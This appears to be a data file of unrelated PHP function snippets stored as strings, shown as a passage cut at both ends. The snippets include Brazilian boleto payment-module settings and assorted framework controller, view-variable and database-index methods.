array(\"name\" => \"CPF ou CNPJ do Boleto\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauCNPF'),\r\n\t\t\t \"default\" => \"\",\r\n\t\t\t \"required\" => false\r\n\t\t\t);\r\n\t\t\r\n\t\t\r\n\t\t$this->_variables['boletoitaudiasparavencimento'] = array(\"name\" => \"Dias para vencimento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauVence'),\r\n\t\t\t \"default\" => \"10\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\r\n\r\n\r\n\t\t$this->_variables['boletoitaudv'] = array(\"name\" => \"D&iacute;gito Verificador\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => GetLang('boletoitauDV'),\r\n\t\t\t \"default\" => \"0\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\r\n\t\t\t$this->_variables['postagem'] = array(\"name\" => \"LINK de Repagamento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => \"URL para Repagamento\",\r\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletoitau/boleto_itau.php?boleto=\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t$this->_variables['imagems'] = array(\"name\" => \"IMAGEM de Repagamento\",\r\n\t\t\t \"type\" => \"textbox\",\r\n\t\t\t \"help\" => \"URL para Repagamento\",\r\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletoitau/images/logo.gif\",\r\n\t\t\t \"required\" => true\r\n\t\t\t);\r\n\t\t\t\r\n\t\t\t\r\n\t$this->_variables['helptext'] = array(\"name\" => \"Mais configura&ccedil;&otilde;es\",\r\n\t\t\t \"type\" => \"textarea\",\r\n\t\t\t \"help\" => GetLang('boletoitauInst'),\r\n\t\t\t \"default\" => \"Voc&ecirc; escolheu pagar com Boleto Banc&aacute;rio do Banco Ita&uacute;.\\nPara reimprimir seu boleto clique no bot&atilde;o abaixo.<br>\",\r\n\t\t\t \"required\" => true,\r\n\t\t\t \"rows\" => 7\r\n\t\t\t);\r\n\t\t\t\r\n\t\t}", "public function _INDEX()\n\t{\n\t\t\n\t}", "protected function setAcoVariables() {\n\n $this->set('plugin',\n isset($this->params['named']['plugin']) ? $this->params['named']['plugin'] : '');\n $this->set('controller_name', $this->params['named']['controller']);\n $this->set('action', $this->params['named']['action']);\n }", "public function actionVariables(){\n\n \n $model= new AccionCentralizadaVariableEjecucion();\n \n return $this->render('variables', [\n 'model' => $model->variablesAsignadas(),//provider,\n ]);\n\n }", "public function index(){\n\n\t\t//memanggil file view\n\t\t$this->load->view('variabelview', $data);//file view\n\t\t//deklarasi data\n\t\t$data = ['variabel1' => 'Data variabel ke-1', 'variabel2' => 'Data variabel ke-2'];\n\t}", "function usuarios_estados_datos()\n\t{\n\n\t\tparent::objeto();\n\n\t\t$this->tabla=\"usuarios_estados\";\n\t\t$this->campoClave=\"Id\";\n\t\t$this->id=null;\n\t\t\n\t\t\n$v=new Variable(2,$this->tabla,\"Id\",1);\n\t\t\t\n$v->clave=true;\n\t\t\t\n\t\t\t\n$v->autonumerica=true;\n\t\t\t\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"Estado\",2);\n$this->agregarVariable2($v);\n\n\t}", "public function indexTable()\n {\n $this->paginate = array('all', 'order' => array('modified' => 'desc'));\n $contentVariableTables = $this->paginate('ContentVariableTable');\n $this->set(compact('contentVariableTables', $contentVariableTables));\n }", "function setVariable($v) {\n ecrire_meta('antispam_'.$v, $_POST[$v]);\n}", "function get_index()\r\n\t{\r\n\r\n\t}", "function envios_datos()\n\t{\n\n\t\tparent::objeto();\n\n\t\t$this->tabla=\"envios\";\n\t\t$this->campoClave=\"IdEnvio\";\n\t\t$this->id=null;\n\t\t\n\t\t\n$v=new Variable(2,$this->tabla,\"IdEnvio\",1);\n\t\t\t\n$v->clave=true;\n\t\t\t\n\t\t\t\n$v->autonumerica=true;\n\t\t\t\n$this->agregarVariable2($v);\n$v=new Variable(2,$this->tabla,\"IdMail\",2);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"Envio\",3);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"Descripcion\",4);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"TablaDatosExtras\",5);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"CondicionDatosExtras\",6);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"FechaCreacion\",7);\n$this->agregarVariable2($v);\n$v=new Variable(1,$this->tabla,\"FechaModificacion\",8);\n$this->agregarVariable2($v);\n\n\t}", "public function index()\n {\n //\n return view(\"admin.productorVariedades.index\");\n\n }", "public function variables(): array;", "public function variables(): array;", "public function makeIndex()\n {\n //Admin panel\n if (!TTO_IS_ADMIN) {\n return;\n }\n\n //Index contents\n $count = $this->search->getEngine()->indexContents();\n\n //Update counter\n $index = Search::getIndex();\n TeaThemeOptions::setConfigs($index.'-count', $count);\n }", "public function addVariable($tv);", "public function setIndexList () {\n // $db_connect_manager -> getTestPool(\"testy_udt\");\n $pool = GeneratorTestsPool::generate(5, 1, 22);\n sort($pool);\n $select = \"SELECT q_podesty_ruchome_przejezdne.question, a_podesty_ruchome_przejezdne.answers, a_podesty_ruchome_przejezdne.`values` \n FROM q_podesty_ruchome_przejezdne INNER JOIN a_podesty_ruchome_przejezdne \n ON q_podesty_ruchome_przejezdne.id = a_podesty_ruchome_przejezdne.id_questions WHERE q_podesty_ruchome_przejezdne.id IN (\".implode(', ', $pool).\")\";\n echo $select;\n\n }", "public function run()\n {\n $fields=[\n [\n 'field'=>'index',\n 'value'=>'nincs beállítva',\n ]\n ];\n\n foreach ($fields as $f)\n {\n DB::table('global_values')->insert($f);\n }\n\n }", "public function index() {\n\t$data = ['variabel1' => 'CodeIgniter','variabel2'=>'3.x'];\n\n\t// mengirim data ke view\n\t$this->load->view('variabelview', $data);\n\n\t}", "function SeteoCampos(){\n\t\t// Campos que van en en detalle, deben empezar su nombre con 'C'\n\t\t$this->addField('C1', 99999,\t0, 15);\n $this->addField('C2', 99999,\t0, 15);\n $this->addField('C3', 99999,\t0, 40);\t\t\n $this->addField('C4', 99999,\t0, 65);\t\t\n $this->addField('C5', 99999,\t0, 40);\n $this->addField('C6', 99999,\t0, 25);\t\t\n $this->addField('C7', 99999,\t0, 65);\t\t\n\t\t\n\t\t$this->addField('HG1', 0,\t0,\t160);\n\t\t\t\t\n\t}", "public function _dados_para_view() {\n $data = get_object_vars($this);\n unset($data['controller']);\n unset($data['components']);\n unset($data['Session']);\n unset($data['RequestHandler']);\n $this->controller->set('seguranca_data', $data);\n }", "public function getIndex()\n {\n // add stuff here\n }", "function addVar($varName,$value)\n {\n $this->VARS[${'varName'}][0] = $varName;\n $this->VARS[${'varName'}][1] = $value;\n }", "public function asignarDatosVista($index, $valor) {\n $this->vistaData[$index] = $valor;\n }", "public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName() . '[]';\n\n $this->vars['model'] = $this->model;\n $this->vars['subscribers'] = Subscriber::all()->lists('count', 'id');\n if (!empty($this->getLoadValue())) {\n $this->vars['value'] = $this->getLoadValue();\n } else {\n $this->vars['value'] = [];\n }\n\n }", "private function setExercicio(){\n\t\t$this->Enunciado = $this->Data['enunciado'];\n\t\t$this->A = $this->Data['opA'];\n\t\t$this->B = $this->Data['opB'];\n\t\t$this->C = $this->Data['opC'];\n\t\t$this->D = $this->Data['opD'];\n\t\t$this->E = $this->Data['opE'];\n\t\t$this->Correta = $this->Data['correta'];\n\n\t\t$this->Query = ['c_enumexer' => $this->Enunciado,\n\t\t\t\t\t\t'c_altaexer' => $this->A,\n\t\t\t\t\t\t'c_altbexer' => $this->B,\n\t\t\t\t\t\t'c_altcexer' => $this->C,\n\t\t\t\t\t\t'c_altdexer' => $this->D,\n\t\t\t\t\t\t'c_alteexer' => $this->E,\n\t\t\t\t\t\t'c_correxer' => $this->Correta];\n\n\t}", "function index() {\n global $autorias;\n global $autores;\n global $livros;\n $autorias = buscarRegistros('tab_autorias');\n $autores = buscarRegistros('tab_autor');\n $livros = buscarRegistros('tab_livro');\n }", "public function setVariablesEntrada()\r\n\t{\r\n\t\t$request = $this->requestStack->getCurrentRequest();\r\n\t\t\r\n\t\t$this->tipo = $request->get('tipo');\r\n\t\t$this->apoyoTapas = $request->get('apoyoTapas');\r\n\t\t$this->prof = $request->get('prof');\r\n\t\t$this->anchoPanel = $request->get('ancho');\r\n\t\t$this->pisosManual = $request->get('pisosManual');\r\n\t\t$this->perfilIntermedio = $request->get('perfilIntermedio');\r\n\t\t$this->pisosManual7 = $request->get('pisosManual7');\t\t\r\n\t\t$this->chapaPisoAdicional = $request->get('chapaPiso');\r\n\t\t$this->cantChapaPisoAdicional = $request->get('cantAdicional');\r\n\t\t$this->maxAlt = $request->get('maxAlt');\r\n\t\t$this->cantPaneles = $request->get('cantPaneles');\r\n\t\t$this->abiertoCerrado = $request->get('aletaTipo');\r\n\t\t$this->aletaVenA = $request->get('aletaVenA');\r\n\t\t$this->aletaFluA = $request->get('aletaFluA');\r\n\t\t\r\n\t\treturn $this;\r\n\t}", "public function defineIndexes()\n\t{\n\t\treturn array();\n\t}", "function SetCustomVars()\n\t\t{\n\n\n\n\t\t\t$this->_variables['availablecountries'] = array(\"name\" => \"Continentes\",\n\t\t\t \"type\" => \"dropdown\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilContinentes'),\n\t\t\t \"default\" => \"all\",\n\t\t\t \"required\" => true,\n\t\t\t \"options\" => GetCountryListAsNameValuePairs(),\n\t\t\t\t\"multiselect\" => true\n\t\t\t);\n\n\n\t\t\t$this->_variables['boletobancodobrasilcedente'] = array(\"name\" => \"Cedente\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCedente'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\t\t\t$this->_variables['boletobancodobrasilagencia'] = array(\"name\" => \"Agencia\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilAgencia'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t\t);\n\n\n\t\t\t$this->_variables['boletobancodobrasilconta'] = array(\"name\" => \"Conta\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilConta'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\n\n\n\t\t\t$this->_variables['boletobancodobrasilcarteira'] = array(\"name\" => \"Carteira\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCarteira'),\n\t\t\t \"default\" => \"18\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilconvenio'] = array(\"name\" => \"Convenio\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilConvenio'),\n\t\t\t \"default\" => \"0000000\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t$this->_variables['boletobancodobrasilcontrato'] = array(\"name\" => \"Contrato\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilContrato'),\n\t\t\t \"default\" => \"0000000\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t\t$this->_variables['boletobancodobrasilvariacaocarteira'] = array(\"name\" => \"Varia&ccedil;&atilde;o da Carteira\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilVariacaoCarteira'),\n\t\t\t \"default\" => \"-019\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t\t\t$this->_variables['boletobancodobrasilformatacaoconvenio'] = array(\"name\" => \"Formata&ccedil;&atilde;o do Conv&ecirc;nio\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilFormatacaoConvenio'),\n\t\t\t \"default\" => \"7\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\t\t\t\t$this->_variables['boletobancodobrasilformatacaonossonumero'] = array(\"name\" => \"Formata&ccedil;&atilde;o do Nosso N&uacute;mero\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilFormatacaoNossoNumero'),\n\t\t\t \"default\" => \"7\",\n\t\t\t \"required\" => true\n\t\t\t);\n\n\n\n\n\t//_-----------------------------------------------------------------------------------------demonstrativos\n\t\n\t\t\t$this->_variables['demoum'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 1\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoU'),\n\t\t\t \"default\" => \"REFERENTE A COMPRAS ONLINE\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t$this->_variables['demodois'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 2\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoD'),\n\t\t\t \"default\" => \"Duvidas e sugest&otilde;es entre em contato conosco:\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t\t\t$this->_variables['demotres'] = array(\"name\" => \"Demonstra&ccedil;&atilde;o 3\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilDemoT'),\n\t\t\t \"default\" => \"[email protected] | +55 xx 0000.0000\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t//_------------------------------------------------------------------------------------------fim-demonstrativos\n\t\n\n\n\n\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaoum'] = array(\"name\" => \"Instru&ccedil;&atilde;o 1\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoUm'),\n\t\t\t \"default\" => \"Multa de R$ 3,00 por atraso.\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaodois'] = array(\"name\" => \"Instru&ccedil;&atilde;o 2\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoDois'),\n\t\t\t \"default\" => \"Apos o vencimento, pagavel apenas no Banco Real\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\t\t\t$this->_variables['boletobancodobrasilinstrucaotres'] = array(\"name\" => \"Instru&ccedil;&atilde;o 3\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoTres'),\n\t\t\t \"default\" => \"Fatura sujeita a protesto no SPC/SERASA\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilinstrucaoquatro'] = array(\"name\" => \"Instru&ccedil;&atilde;o 4\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInstrucaoQuatro'),\n\t\t\t \"default\" => \"Juros de mora de 0,1% ao dia.\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\n\t\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilaceite'] = array(\"name\" => \"Aceite\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilAceite'),\n\t\t\t \"default\" => \"N\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\t\t\t\n\t\t\t$this->_variables['boletobancodobrasilespeciedoc'] = array(\"name\" => \"Esp&eacute;cie do documento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilEspecieDoc'),\n\t\t\t \"default\" => \"DS\",\n\t\t\t \"required\" => false\n\t\t\t);\n\n\t\t\t$this->_variables['boletobancodobrasilespecie'] = array(\"name\" => \"Esp&eacute;cie de cobran&ccedil;a\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilEspecie'),\n\t\t\t \"default\" => \"R$\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\t\n\n\t\t\t$this->_variables['boletobancodobrasilcpfcnpj'] = array(\"name\" => \"CPF ou CNPJ do Boleto\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilCNPF'),\n\t\t\t \"default\" => \"\",\n\t\t\t \"required\" => false\n\t\t\t);\n\t\t\n\t\t\n\t\t$this->_variables['boletobancodobrasildiasparavencimento'] = array(\"name\" => \"Dias para vencimento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilVence'),\n\t\t\t \"default\" => \"10\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t\t\t\t$this->_variables['postagem'] = array(\"name\" => \"LINK de Repagamento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => \"URL para Repagamento\",\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletobancodobrasil/boleto_bancodobrasil.php?boleto=\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\t\n\t\t\t$this->_variables['imagems'] = array(\"name\" => \"IMAGEM de Repagamento\",\n\t\t\t \"type\" => \"textbox\",\n\t\t\t \"help\" => \"URL para Repagamento\",\n\t\t\t \"default\" => \"%%GLOBAL_ShopPath%%/modules/checkout/boletobancodobrasil/images/logo.gif\",\n\t\t\t \"required\" => true\n\t\t\t);\n\t\t\n\n\n\t$this->_variables['helptext'] = array(\"name\" => \"Mais configura&ccedil;&otilde;es\",\n\t\t\t \"type\" => \"textarea\",\n\t\t\t \"help\" => GetLang('boletobancodobrasilInst'),\n\t\t\t \"default\" => \"Voc&ecirc; escolheu pagar com Boleto Banc&aacute;rio do Banco do Brasil.\\nPara reimprimir seu boleto clique no bot&atilde;o abaixo.<br>\",\n\t\t\t \"required\" => true,\n\t\t\t \"rows\" => 7\n\t\t\t);\n\t\t\t\n\n\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "public function index() {\n $cls_name = 'configuracion';\n // ****** TABLA DE PERSISTENCIA DE DATOS DE LA CLASE \n $table = 'tables';\n // ****** RUTA DE ACCESO DEL CONTROLLER\n $route = 'configuracion/';\n // ****** ******************\n \n\n $user = $this -> session -> userdata('logged_in');\n if (is_array($user)) {\n // ****** NAVBAR DATA ********\n $userActs = $this -> app_model -> get_activities($user['userId']);\n $acts = explode(',',$userActs['acciones_id']);\n // ****** END NAVBAR DATA ********\n \n // ************ VAR INYECTA INIT DATA EN LA INDEX VIEW *********** \n $var=array(\n // PREPARO LOS DATOS DEL VIEW\n 'items'=>$this->cmn_functs->mk_dpdown($table,$this->cmn_functs->get_fields_sin_id($table),' WHERE id < 99 ORDER BY id ASC','selecciona un item'),\n 'attr'=> \"class='form-control' onchange=call({'method':'meet','msg':this.value})\",\n 'title'=>'Modificando datos de:',\n 'route'=>$route\n );\n // // ****** LOAD VIEW ****** \n $this -> load -> view('header-responsive');\n $this -> load -> view('navbar',array('acts'=>$acts,'username'=>$this -> app_model -> get_user_data($user['userId'])['usr_usuario']));\n $this -> load -> view($cls_name.'_view',$var);\n } else {\n redirect('login', 'refresh');\n }\n }", "public function prepareVars()\n {\n $this->vars['name'] = $this->formField->getName();\n\n $this->vars['model'] = $this->model;\n $this->vars['category'] = Kategory::where(\"is_active\", \"1\")->lists('name', 'id');\n if (!empty($this->getLoadValue())) {\n $a= $this->vars['value'] = $this->getLoadValue();\n } else {\n $a= $this->vars['value'] = [];\n }\n }", "public function getViewVars();", "public function getViewVars();", "public function index(){ \n \t$data['query1'] = $this->MBahagia->tampil_data();\n \t$data['query2'] = $this->MCamplong->tampil_data();\n \t$data['query3'] = $this->MPanglima->tampil_data();\n \t$data['query4'] = $this->MPKPRI->tampil_data();\n \t$data['query5'] = $this->MRahmat->tampil_data();\n\n \t\n \t$this->global['pageTitle'] = 'RichiSoft | Local Database';\n\t\t$this->loadViews(\"ViewTables/TableSlave\", $this->global, $data, NULL);\n\t}", "function conf()\n {\n $dato_anio = toba::memoria()->get_parametro('filtro_anio');\n $dato_ua = toba::memoria()->get_parametro('filtro_ua');\n if(isset($dato_anio)){//el anio es filtro obligatorio asi que siempre vuelve con este dato\n $auxiliar['valor']=$dato_anio;\n $auxiliar['condicion']='es_igual_a';\n $auxiliar2['anio']=$auxiliar;\n\n if(isset($dato_ua)){//viene desde informe de estado actual\n $auxiliar['valor']=$dato_ua;\n $auxiliar['condicion']='es_igual_a';\n $auxiliar2['uni_acad']=$auxiliar;\n }\n $this->s__datos_filtro=$auxiliar2;\n }\n }", "public function setVariables()\n \t{\t\n \t\tif (isset($this->params->plugin)) {\n \t\t\t$this->setPlPath(App::pluginPath(Inflector::humanize($this->params->plugin)));\n \t\t}\n \t\t$this->setController($this->params->controller);\n \t\t$this->setAction($this->params->action);\n \t\t$this->setConstant(Configure::read('App'));\n \t\t\n \t}", "public function get_index()\n\t{\n\t\t// Get available languages\n\t\t$languages = array();\n\n\t\t$language = new Language();\n\t\t$cur = $language->find();\n\t\t\n\t\tif($cur->hasNext() === true)\n\t\t{\n\t\t\tforeach($cur as $obj)\n\t\t\t{\n\t\t\t\t$languages[] = $obj;\n\t\t\t}\n\t\t}\n\n\t\t// Get all settings\n\t\t$setting = new Setting();\n\t\t$settings = array();\n\t\t$cur = $setting->find();\n\t\tif($cur->hasNext() === true)\n\t\t{\n\t\t\tforeach($cur as $obj)\n\t\t\t{\n\t\t\t\t$settings[$obj['_id']] = $obj['value'];\n\t\t\t}\n\t\t}\n\n\t\t$this->layout->nest('content', 'admin.setting', array(\n\t\t\t'languages' => $languages,\n\t\t\t'settings' => $settings\n\t\t));\n\t}", "public function index(){\r\n\t\t$db=$this->Travaux->query(\"SELECT travauxes.num_travail, travauxes.desc_travail, travauxes.echeance, travauxes.progression, matieres.nom_matiere FROM travauxes, matieres WHERE (travauxes.num_matiere = matieres.num_matiere);\");\r\n\t\t$this->set('travauxs', $db);\r\n\r\n\t}", "public function createIndex(): void;", "function tb_register_query_vars( $vars ) {\n $vars[] = \"tosearch\";\n $vars[] = \"tab\";\n $vars[] = \"genre\";\n $vars[] = \"tosearch\";\n\n return $vars;\n}", "function values( $vars ) {\n foreach($vars as $k=>$v) {\n $this->_vars[\"$k\"] = $v;\n }\n }", "public function actionIndex()\n {\n $searchModel = new AccionCentralizadaVariablesSearch();\n $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\n\n return $this->render('index', [\n 'searchModel' => $searchModel,\n 'dataProvider' => $dataProvider,\n ]);\n }", "function add_index($index, $table, $column) {\n global $langIndexAdded, $langIndexExists, $langToTable;\n\n $num_of_args = func_num_args();\n if ($num_of_args <= 3) {\n $ind_sql = Database::get()->queryArray(\"SHOW INDEX FROM $table\");\n foreach ($ind_sql as $i) {\n if ($i->Key_name == $index) {\n $retString = \"<p>$langIndexExists $table</p>\";\n return $retString;\n }\n }\n Database::get()->query(\"ALTER TABLE $table ADD INDEX `$index` ($column)\");\n } else {\n $arguments = func_get_args();\n // cut the first and second argument\n array_shift($arguments);\n array_shift($arguments);\n $st = '';\n for ($j = 0; $j < count($arguments); $j++) {\n $st .= $arguments[$j] . ',';\n }\n $ind_sql = Database::get()->queryArray(\"SHOW INDEXES FROM `$table`\");\n foreach ($ind_sql as $i) {\n if ($i->Key_name == $index) {\n $retString = \"<p>$langIndexExists $table</p>\";\n return $retString;\n }\n }\n $sql = \"ALTER TABLE $table ADD INDEX `$index` ($st)\";\n $sql = str_replace(',)', ')', $sql);\n Database::get()->query($sql);\n }\n $retString = \"<p>$langIndexAdded $langToTable $table</p>\";\n return $retString;\n}", "function ind_query_var($vars) {\n\tarray_push($vars, 'chapter');\n\treturn $vars;\n}", "function index(){\n $data['varName'] = 'Carlos';\n $data['varLname'] = 'Rivera';\n \n $this->load->view(\"home\", $data);\n }", "public static function variables(): array\n {\n return [\n Variable::make('sorts', __('Array of available sorting')),\n\n Variable::make('directions', __('Array of sort directions')),\n\n Variable::make('items', __('HTML generated of blog items')),\n\n Variable::make('pagination', __('HTML generated of pagination links')),\n ];\n }", "private function createIndexs()\n {\n if(is_array($this->queryIndex) && count($this->queryIndex) > 0){\n $queryIndex = implode(', ', $this->queryIndex);\n return \", {$queryIndex}\";\n }\n }", "private function initVars()\n {\n // template array variables\n $this->tplVar['art_pubdate'] = array();\n $this->tplVar['art_modifydate'] = array();\n }", "public function add_additional_index() {\n\t\t$table_name = $this->db->prefix . self::BASE_TABLE;\n\n\t\t$sql = 'ALTER TABLE ' . $table_name . ' ADD `index_8` VARCHAR(127)';\n\n\t\t$this->db->query( $sql );\n\t}", "function index() {\n $variables['info'] = array(\n 'titre' => \"Vegania\",\n 'description' => \"Bienvenue sur le site web de l'organisation Vegania !\"\n );\n\n $this->set($variables);\n $this->render('index');\n }", "public function tampilDataGalang(){\n\t\t\n\t}", "public function actionIndex()\n {\n $field_value = \\common\\models\\FieldsValue::find()->all();\n\n foreach ($field_value as $item)\n {\n $new_value = new FieldsValueNew();\n $new_value->order = $item->order;\n $new_value->field_id = $item->field_id;\n $new_value->value = $item->value;\n\n if($item->card_id != null)\n {\n $new_value->item_type = 0;\n $new_value->item_id = $item->card_id;\n }\n if($item->balance_id != null)\n {\n $new_value->item_type = 3 ;\n $new_value->item_id = $item->balance_id;\n }\n if($item->project_id != null)\n {\n $new_value->item_type = 1;\n $new_value->item_id = $item->project_id;\n }\n if($item->company_id!= null)\n {\n $new_value->item_type = 2;\n $new_value->item_id = $item->company_id;\n }\n\n $new_value->save();\n }\n }", "public function index()\n {\n //\n $vars = simpanan::all();\n return view('simpanan.index',['var' => $vars]);\n }", "public function index_put(){\n\t\t\n\t\t}", "private function setRutasVista() {\n /* variable relacionadas a un controlador especifico */\n $this->_rutas = [\n 'vista' => RUTA_MODULOS . 'vista' . DS . $this->_controlador . DS,\n 'img' => URL_MODULOS . \"vista/\" . $this->_controlador . \"/img/\",\n 'js' => URL_MODULOS . \"vista/\" . $this->_controlador . \"/js/\",\n 'css' => URL_MODULOS . \"vista/\" . $this->_controlador . \"/css/\",\n ];\n }", "function setupInitialVars() {\n\t\tparent::setupInitialVars();\n\t\t\n\t\t$this->getEngine()->assign('daoUriView', $this->buildUriPath(grantsController::ACTION_SEARCH));\n\t}", "public function index()\n {\n $this->title .= ' view';\n $this->vars = array_add($this->vars, 'menu', $this->rep->make());\n }", "public function table_index_edit ( $tname, $field, $value, $key )\n\t{\n\t}", "function tabela($vetorComcadastros, $vetorComIndices){//Função que cria a tabela/lista recebe o vetor cos os cadsastros e outro com os indices\n retornaEscolhidos($vetorComcadastros, $vetorComIndices);//escreve a tabela\n }", "public function index()\n {\n $this->paginate = array(\n 'all',\n 'conditions' => array('$or' => array(\n array('table' => null),\n array('table' => array('$exists' => false))\n ))\n );\n $contentVariables = $this->paginate('ContentVariable');\n $this->set(compact('contentVariables', $contentVariables));\n }", "public function addDataView($data)\n {\n $this->vars = array_merge($this->vars, $data);\n }", "function index() {\n\t\tif (!empty($this->params['named']['layout']) && $this->params['named']['layout'] == \"lov\") {\n\t\t\tif ($this->params['named']['retornarA'] == \"EmpleadorActividadId\") {\n\t\t\t\t$this->data['Condicion']['Actividad-tipo'] = \"Empleador\";\n\t\t\t}\n\t\t\telseif ($this->params['named']['retornarA'] == \"RelacionActividadId\") {\n\t\t\t\t$this->data['Condicion']['Actividad-tipo'] = \"Trabajador\";\n\t\t\t}\n\t\t}\n\t\tparent::index();\n\t}", "public function actionIndex() {\n $ventas = new Ventas();\n\n $ventasTotales = new CArrayDataProvider($ventas->Ingresadas(), array(\n 'id' => 'PLAZA',\n 'sort' => array(\n 'attributes' => array(\n 'PLAZA', 'INGRESADAS', 'INSTALADAS'\n ),\n ),\n 'pagination' => array(\n 'pageSize' => 100,\n ),\n ));\n \n $ventas = new Ventas();\n $ventasIngresadas = $ventas->get_Ingresadas(1);\n $ventasInstaladas = $ventas->get_Instaladas(1);\n\n $this->render('indexs', array('ventas' => $ventasTotales,'ventasIngresadas'=>$ventasIngresadas,'ventasInstaladas'=>$ventasInstaladas));\n }", "function admin_index()\n {\n $perPage = 100;\n $this->lordModel('Post');\n $condition = array('type' => 'post');\n $d['posts'] = $this->Post->find(array(\n 'condition' => $condition,\n 'limit' => ($perPage * ($this->request->page - 1)) . ',' . $perPage\n ));\n $d['total'] = $this->Post->findCount($condition);\n $d['nbrPage'] = ceil($d['total'] / $perPage);\n //print_r($d);\n $this->setvars($d);\n //$this->setvars('phrase', 'bienvenue sur ma page');\n //$this->render('view');\n }", "function indexFields()\n\t{\n\t\tif (empty($this->name)) {\n\t\t\treturn null;\n\t\t}\n\n\t\t$set = array();\n\t\t// Field is not tokenized nor indexed, but is stored in the index.\n\n\t\t// Field is not tokenized, but is indexed and stored within the index\n\t\t$set[] = Zend_Search_Lucene_Field::Keyword('link','/' . strtolower(get_class($this)) . '/view/' . $this->id);\n\t\t$set[] = Zend_Search_Lucene_Field::Keyword('name',$this->name);\n\t\t// $set[] = Zend_Search_Lucene_Field::Keyword('title',$this->name);\n\n\t\t// Field is tokenized and indexed, but is not stored in the index.\n\t\t$content = null;\n\t\tforeach ($this->_properties as $p) {\n\t\t\t$x = substr($p,-2);\n\t\t\tif ( ($x=='id') || ($x=='ts') ) 